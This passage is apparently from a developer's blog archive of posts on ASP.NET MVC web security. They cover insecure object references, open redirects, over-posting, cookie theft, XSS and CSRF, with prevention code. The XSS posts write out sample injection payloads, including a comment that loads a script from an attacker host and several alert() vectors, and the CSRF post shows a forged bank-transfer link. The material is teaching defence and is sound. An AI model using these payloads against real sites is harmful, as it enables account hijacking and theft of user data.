So according to the application needs, Elmah should be accessible to specific roles or users.

Conclusion

So we saw how we can login into somebody's account just by looking at the Elmah logs. Therefore, proper configuration of Elmah is extermely important for the security of our web application.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Monday, September 7, 2015

Insecure Object Reference in MVC

Today, we are going to discuss what insecure object reference is in MVC and how to prevent it.

Insecure Object Reference in MVC

This occurs when a developer exposes reference to an internal object. Without access control check in place, the attacker can manipulate the reference to retrieve data which he is not allowed to access.
Suppose, you have a web application which displays customer records. As an Admin, I can access all the customer records but as a regular customer, I can access only my record.

So I see my own details and that's perfectly fine. However, note the URL, it's like: /Customers/Details/1. The attacker can easily guess that number 1 is the customer id. So he can try to change the customer id and re-sub,it the request. So when submits the request like this: /Customers/Details/2, he gets result.
So the attacker is able to access the record which he was not allowed to access. Imagine it can have some sensitive details like credit card information, address, etc. The reason why this could happen is that unencrypted Customer Id is exposed to the client and we don't have a server side check for permissions if the user is allowed to see the customer details or not.

 How to Prevent

In order to prevent it, one approach is to encrypt the customer id. In this way, it would be difficult to guess the other customer's id and hence access their records. However, this approach is not foolproof. We should have server side check to see if the current user is allowed to access the customer details or not. So our action method might look like this:

public ActionResult Details(int id)
        {
            if (!IsEmployeeVisible(SessionUser.UserId, id))
            {
                return new HttpStatusCodeResult(HttpStatusCode.Unauthorized);
            }
            Customer customer = db.Customers.Find(id);
            if (customer == null)
            {
                return HttpNotFound();
            }
            return View(customer);
        }
The method IsEmployeeVisible should check whether the id requested is visible to the logged in user. If it's not visible then the details are not returned.

Conclusion

In this post, we saw how a malicious user can access records which he is not allowed to access if we don't have server side checking. We should have access checks inside action methods whether it's a GET or a POST or an AJAX call.

For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right

Sunday, September 6, 2015

Open Redirection Attack in MVC

In today's blog post I am going to discuss open redirection attack in MVC applications.

Open Redirection

Any application that redirects the user to a URL that is coming in as query string or form data can be vulnerable to open redirection attack.

If we try to visit a controller action with Authorize attribute and we are not logged in, we are redirected to the login page. This redirection looks like this:

/Account/Login?ReturnUrl=%2FExpense%2FIndex.


Once we login we are redirected to the /Expense/Index page, as mentioned by the ReturnUrl.

Imagine, if you received an email which has a hyperlink like this:

http://www.mygoodbank.com?ReturnUrl=www.mugoodbank.com  


(Please note the return Url has a different spelling). The Url might look similar but is controlled by the attacker.

So the user visits the page related to mygoodbank.com and enters the login name and password. Once the user enters the credentials, he is redirected to mugoogbank.com which the attacker has made sure that the page looks similar to the login page of my mygoodbank.com. The victim might think that he is redirected to the login page again because he mistyped the credentials. So the user types in the username and password again (this time on malicious website) and clicks on Login. The attacker can save the username and password and redirect the victim to the legitimate website. The legitimate website had already authenticated the user on previous attempt, so the user sees the required page that he was trying to access.

In this way, the attacker has stolen the user credentials without the victim ever knowing about it. Mixing a little social engineering with technical ability helps the attacker to accomplish this easily.

How To Prevent?

Whenever we redirect the user to any URL in our application, we must check that Url is local or not. If not, we must raise an exception that open redirection attack was attempted.

In MVC5, the AccountController Login method has:

return RedirectToLocal(returnUrl);


This RedirectToLocal tests whether the URL is local or not using Url.IsLocalUrl() method. Similarly, if we are redirecting the user to any page based on the input coming from the user, we should test if the URL is local or not.

Conclusion

MVC1 and MVC2 were vulnerable to this attack as they were not checking for the local URL. But MVC3 onwards, the AccountController checks for local Url. In our application, if we are redirecting anywhere we should make sure that the user is being redirected to local URL only.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Saturday, September 5, 2015

Over Posting Attack in MVC

In today's blog post, I am going to discuss the over posting attack in MVC application.

Over Posting

Model-binding is a useful and powerful feature of MVC. It automatically handles the mapping of form input to model properties. This prevents me from writing all that mapper code again and again. However, it opens up the vulnerability which allows the attacker to submit extra data with the form to populate model properties which were not intended to be changed.

Let's take a look at an example to understand this. Suppose, we have a class called Expense:

public class Expense

    {

        public int ExpenseId { get; set; }

        public int EmployeeId { get; set; }

        public string EmployeeName { get; set; }

        public int AmountMoney { get; set; }

        public bool IsApproved { get; set; }

    }


Suppose, we have a View called Edit.cshtml which exposes all the properties to be edited. Suppose there is a logic on when to allow the IsApproved flag to be edited. We show the IsApproved checkbox to only HR users and not to other employees.
Similar to standard controller, we have Edit action method in ExpenseController like this:

[HttpPost]

[ValidateAntiForgeryToken]

public ActionResult Edit(Expense expense)

{

        //save expense to database 

}

For regular employee, the IsApproved checkbox doesn't appear on the Edit View. So ideally he should not be able to Approve or Disapprove the expense request.

However, a malicious user can easily update the value of the flag as per his convenience. In order to demo this attack, I installed a plugin on my Chrome called Request Maker. It allows me to edit/ send any HTTP request.

So what I did was just added the flag IsApproved and set the value to true. And voila, the Expense is approved.

The reason why I was able to accomplish this was because model binding in ASP.NET MVC tries to bind the data submitted to model properties based on their names. If it matches, it is accepted. And once it reaches the model, we simply save everything to the database.

How to Prevent?

 

Bind

Using Bind attribute is a good way to prevent over posting attack. Using Bind attribute, we can include or exclude specific properties which are supposed to bind.

public ActionResult Edit
([Bind(Include = "AmountMoney")]Expense expense)
{

    ....... 

} 

In this example, only one property is added. So now, no matter how many values are posted from the client, we will get only one property out of those i.e. AmountMoney. All other properties will be ignored by the binding.

Similarly, we can also Exclude certain properties, if needed.

 

ViewModel

Using ViewModel for each view also helps us in preventing this attack. The ViewModel should have only the properties which are supposed to edited by a particular view and no other properties. So these can be mapped to specific properties of the Model before its saved to the database. It is a good practice to have view models for views and to not use model entities for the view.

 

Server-Side Checking

On the HttpPost action method, we can explicitly check the value of the properties. We can write custom code to check if the current user is of employee role then use the database value of IsApproved flag else if the user is HR user role then use the value posted. This is feasible if the check needs to be done once in a while. This might get difficult to maintain pretty soon.

 

Conclusion

In this blog post, we talked about what over posting attack is and how it can be harmful. We also discussed some of the ways to prevent it.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Friday, September 4, 2015

Console Tab in Chrome Developer Tools

Console Tab

 Today I am going to talk about some features of the Console tab which are again very helpful for debugging web applications.

Log

Gone are the days, when people used to put alert() statements everywhere throughout the code in order to check variable values or control flow in the JavaScript code. Now we can use console.log() statements in order to see what's going on in the client side code. We can output all the values and the results are visible in the Console tab.

Warn

If we want to output the message as a warning, we can use console.warn() statement. These messages appear with a yellow warning sign. These are useful if you want to put some messages for less likely scenarios. We can even filter all the warnings together.

Info

Messages output using console.info() statement come with a blue info sign. These can also be filtered.

Error

Using console.error() statement we can output the error in the console tab. It appears with a red color. We can also navigate to where the error occurred directly as the source is displayed right next to the error. 

Assert

console.assert can be used for testing. For example,

console.assert(10 == 5*4,"Items Not Equal");

So it will break at this point and take us to the script where the test failed.

Group

Using a lot of console.log statements can become unwieldy. So in order to manage log statements better, we can group them together.

        console.group("Group Example");

        console.log("Message 1");

        console.log("Message 2");

        console.groupEnd(); 
So here the 2 log messages will come under a single group. Similarly, we can also use console.groupCollapsed() if we want the group to appear as collapsed.


Time

In order to find the time taken by a snippet of code, we used to get the current time before and after and subtract the two timestamps. Using console.time() makes it more convenient and quicker to find out the time.

        console.time("Loop Time");

        for (var i = 0; i < 100000; i++) {}

        console.timeEnd("Loop Time"); 

console.time() denotes the starting point and console.timeEnd() denotes the end point.

dir

console.dir() prints the JSON representation of the supplied object. For example,

console.dir(document);

will print the whole document's JSON representation.

dirxml

console.dirxml() prints the XML representation of the supplied object.

console.dirxml(document);

will print the whole document's XML representation.

Count

Using console.count we can keep the count without maintaining a counter explicitly. Another very handy feature for debugging.

Profile

Using console.profile() we can start and using console.profileEnd() end profile. Profile is pretty useful to find out what all code got executed and how much time each part took. Its similar to SQL Server profiler.

Trace 

In order to see the stack trace I can put this statement anywhere in my JavaScript code. This will show me the stack trace of who called this statement.

Execute JavaScript

Other than these useful commands, we can also execute any JavaScript code in the console tab directly. I can inspect or change the values of any variables or elements.

Conclusion

In this post, we discussed about different console tab commands and how they can be helpful in debugging and development. Once you start using it, you will realize how useful it is in everyday development and debugging.
For future updates to my weekly blog, please subscribe to the blog.

Thursday, September 3, 2015

Cookie Stealing Attack in MVC Application

In today's blog post, I am going to discuss what cookie stealing attack is and how we can prevent it.

Cookie

Cookie is a small piece of data sent by a web server to a web browser. The browser stores this data in a text file. This data is sent by the browser to the web server each time it requests a page from that server.
Cookies store information like your site preferences or history so that they can customize the page for you, every time you request it. So that information is usually not what attacker cares about. Cookies are also used to store information that uniquely identify the user such as the Authentication Ticket. That's more luring to the attacker ;) If the attacker can steal someone's authentication cookie they can simply get access to the complete account.

Cookie Stealing using XSS

In order to steal the cookie, the attacker can write a script which reads all the cookies and sends it to the attacker. If you search about it on google, you can find plenty of scripts that read all the cookies and send it to a specific server.  If the site is XSS vulnerable, the attacker's task is made easy. He can simply get the script executed on anyone's machine and get all the cookies.
Once the attacker gets the authentication cookie, he can copy the Session Id/ Username, etc and plug that information into his own browser and get access to the victim's account. Isn't it simple?

How to Prevent?

In order to prevent the scripts to access the cookies we need to set the flag called HttpOnly to true. This allows the scripts to be accessed only by Http and disables all kinds of script access. We can set this flag at the application level in system.web section in web.config like this:
 
<httpCookies domain="" httpOnlyCookies="true|false" requireSSL="true|false" />

If we need to set it at per cookie level, we can set it like this:

Response.Cookies["ImpCookie"].HttpOnly=true;

Conclusion

Cookies can store valuable information and should be protected. We should set the cookie access to HttpOnly in order to prevent their access from malicious scripts.
For future updates to my weekly blog, please subscribe to the blog.

Wednesday, September 2, 2015

Cross Site Scripting Attack Prevention

Last week I discussed what cross site scripting attack is. In today's blog post I am going to discuss some measures which can help prevent cross site scripting attack in MVC applications.

How to Prevent

Encoding the content is the best way to prevent XSS attack. We need to encode both HTML and Javascript content. Let's discuss each of these one by one.

Encode HTML

The output on the pages should be HTML encoded or HTML attribute encoded. In Web Forms, we could use Html.Encode like this:

<% Html.Encode(Model.DataToEncode) %>

 Or shorthand like this:

<%: Model.DataToEncode %>

The Razor View Engine HTML encodes output by default. So a Model property on the View like this:

@Model.LastName

will be automatically encoded.
If we want to access raw data with no encoding then we need to use Html.Raw like this:

@Html.Raw(Model.LastName)

One should be extremely careful while using Html.Raw() as it opens doors for many security vulnerabilities.

Encode Javascript

Similarly, if we need to display user input in Javascript, we should do Javascript encoding like this:

@Ajax.JavaScriptStringEncode(ViewBag.UserName)

In the example, that I gave in my previous blog post, if the attacker tries to provide malicious input like this:

\x3cscript\x3e%20alert(\x27EVIL\x27)%20\x3c/script\x3e
 
 and the input is Javascript encoded then it will be rendered.

Conclusion

In order to prevent cross site scripting attack, we should not trust user input. We should always HTML encode/ Javascript encode the data.
For future updates to my weekly blog, please subscribe to the blog.

Tuesday, September 1, 2015

Cross Site Scripting attack in MVC

As everyone liked the last week's blog post on Cross Site Request Forgery attack, I decided to post about another well-known security vulnerability in MVC applications. It's called Cross Site Scripting (aka XSS) attack. Its the most common security vulnerability across the web and can be the most nasty one.

Cross Site Scripting

In simple words, it's an attack whereby attacker injects some scripts into a web page which then affects the victim. These attacks are divided into 2 categories viz Active and Passive. Let's take a look at each of these one by one.

Passive Injection

This type of attack occurs when the website accepts unsanitized input by the attacker and later displays it to the victim. Suppose we have an online messaging board or blog that allows users to post comments. If the input is accepted as is, the attacker can inject a script tag in the comment which might be something like this:

Nice Post</div><script>src=http://attackersite.com/evilscript.js</script>

The closing tag can close the previously open div and then a script tag mentions the javascript file to be executed. To find out the type of tag to close and how to structure the malicious comment might require some inspection of the web page and some hit and trials. This comment then gets saved on the server and gets displayed to others who access the webpage. The script tag posted by attacker won't be displayed when the page is rendered but the javascript will be executed on the client side. So the attacker can execute a malicious script on the victim's machine which can tamper the webpage or steal victim's personal information and send it to the attacker.

Using the script tag, attacker can point to an external javascript file or use embedded javascript. Here are some ways other than the script tag to execute javascript:

<img src="javascript:alert('Hacked');">

<body onload=alert("Hacked")>

<div style="background-image: url(javascript:alert('Hacked'))">

I can not cover all the ways by which the script can be inserted but the point is that attacker is able to execute some malicious javascript code on anyone's machine who accesses the website.

Active Injection

For active injection, the user input is directly used on the webpage and is not saved on the server. Suppose we have a website that takes user's name as input and shows a welcome message. Note that the name is coming from the query string parameter.



As an attacker, I can pass this as the query string parameter: \x3cscript\x3e%20alert(\x27EVIL\x27)%20\x3c/script\x3e. And this is what it does:


I was able to execute javascript code by manipulating the query string parameter displayed. Now everyone must be thinking that this is the script that the attacker executed on his own machine. How does it affect the victim? Well, the attacker might be able to make the victim click on such a malformed link which will then execute the malicious javascript on the client machine. To make the victim click on the link might require some social engineering or some other devious techniques. But again, some malicious code can be run on victim's machine without the victim's knowledge.

Conclusion

In this blog post, we saw what cross site scripting attack is and it's 2 different categories. In the next week's post, I am going to cover how to prevent the cross site scripting attacks.
For future updates to my weekly blog, please subscribe to the blog.

Monday, August 31, 2015

Cross Site Request Forgery in MVC

In today's blog post I am going to talk about an important security attack in MVC application i.e. Cross Site Request Forgery (CSRF).

Cross Site Request Forgery

This is an attack whereby the victim is fooled in to taking some unwanted action on his/ her behalf. In order to illustrate the attack, let me first explain how a browser works.

Suppose, we login to our bank account. When the login page appears, we enter our username and password and we get some session information from the server. The browser then stores the session information in a cookie. For the subsequent requests to the same site, browser automatically sends the session info cookie with the request which identifies us. So that we don't have to put our username and password multiple times.

Now, let's see how the attacker can use this browser behavior to facilitate the CSRF attack. Suppose there is a widely used forum or a website which allows people to post links and the attacker has posted the following link at some place:

http://myfakebank.com/transfer?usd=10000&targetaccountnum=123456789

The aim of the attacker is to make the victim click this link while he is logged in to his/ her bank account. And voila, the attacker gets the amount transferred into the account number mentioned. So next time if you browse the web with your bank account logged in, beware! ;)

Usually, the attacker can apply some social engineering skills to make the victim click the link but that's not the point. The point is that the victim has been fooled into some action which he/ she never intended. This is Cross-Site Request Forgery attack.

So here since the user is logged in to the myfakebank website and the request is triggered, the victim transfers 10000 dollars from his/her account without his/her intention.

How to Prevent?

It would be injustice to everyone if we just discuss the attack and do not discuss the ways to prevent it. ASP.NET MVC provides an easy way to avoid this i.e. make sure that the user has submitted the data willingly. This can be accomplished by using a simple hidden value on the form whenever the user requests a form and then on form submit just match the value previously sent. If the values match then it's indeed the correct user who submitted the form otherwise it can be considered a cross site request forgery attack.

This hidden value used to prevent CSRF is called Anti Forgery token. In order to use this, we need to put it on our View like this:

@Html.AntiForgeryToken()

This puts an encrypted value in the form like this:

<input type="hidden" value="encrypted value">

And then, on POST controller action, we can validate it like this:

[ValidateAntiforgeryToken]
public ActionResult Transfer(…)

This anti-forgery token can prevent most of the CSRF attacks and should always be used.

Conclusion

Today we discussed what cross site request forgery attack is and how it can be harmful. We also discussed how anti-forgery token works in ASP.NET MVC and how it prevents CSRF attack.
For future updates to my weekly blog, please subscribe to the blog.
References:
"Professional ASP.NET MVC 5"